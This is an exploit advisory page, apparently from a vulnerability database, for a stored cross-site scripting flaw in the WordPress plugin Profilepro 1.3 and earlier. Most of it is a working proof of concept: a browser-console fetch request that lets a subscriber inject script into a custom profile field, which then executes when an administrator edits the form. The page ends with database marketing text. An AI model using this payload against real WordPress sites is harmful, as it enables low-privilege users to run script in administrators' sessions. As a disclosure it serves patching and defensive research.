Lucene search
K

WordPress Profilepro 1.3 Cross Site Scripting Vulnerability

🗓️ 14 Aug 2024 00:00:00Reported by Vuln SeekerType 
zdt
 zdt
🔗 0day.today👁 161 Views

WordPress Profilepro 1.3 Cross Site Scripting Vulnerability. Allows subscriber role to perform XSS attacks via unsanitized parameters

Code
# Exploit Title: profilepro <= 1.3 - Subscriber+ Stored Cross Site Scripting
# Exploit Author: Vuln Seeker Cybersecurity Team
# Vendor Homepage: https://wordpress.org/plugins/profilepro/
# Version: <= 1.3
# Tested on: Firefox
# Contact me: [email protected]

Description

The plugin does not sanitise and escape some parameters and lacks proper
access controls, which could allow users with a role as low as subscriber
to perform Cross-Site Scripting attacks

Proof of Concept

Run the following code from the browser console from the subscriber user

```
fetch("../wp-admin/admin-ajax.php", {
  method: "POST",
  headers: {
    "Accept": "*/*",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "X-Requested-With": "XMLHttpRequest"
  },
  body:
"title=%22%3E%3Cscript%3Ealert(1339)%3C%2Fscript%3E&label=&meta_key=&placeholder=&help_text=&privacy=1&max_length=&is_required=1&user_edit=1&icon=&type=textarea&action=profilepro_admin_add_custom_field&arg2=89",
  credentials: "include"
})
.then(response => {
  if (!response.ok) {
    throw new Error('Network response was not ok');
  }
  return response.text();
})
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
```

- As an admin, go to
http://example.com/wp-admin/edit.php?post_type=profilepro_form
- Choose the default profile, click on edit and click on add field, XSS
will pop up.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation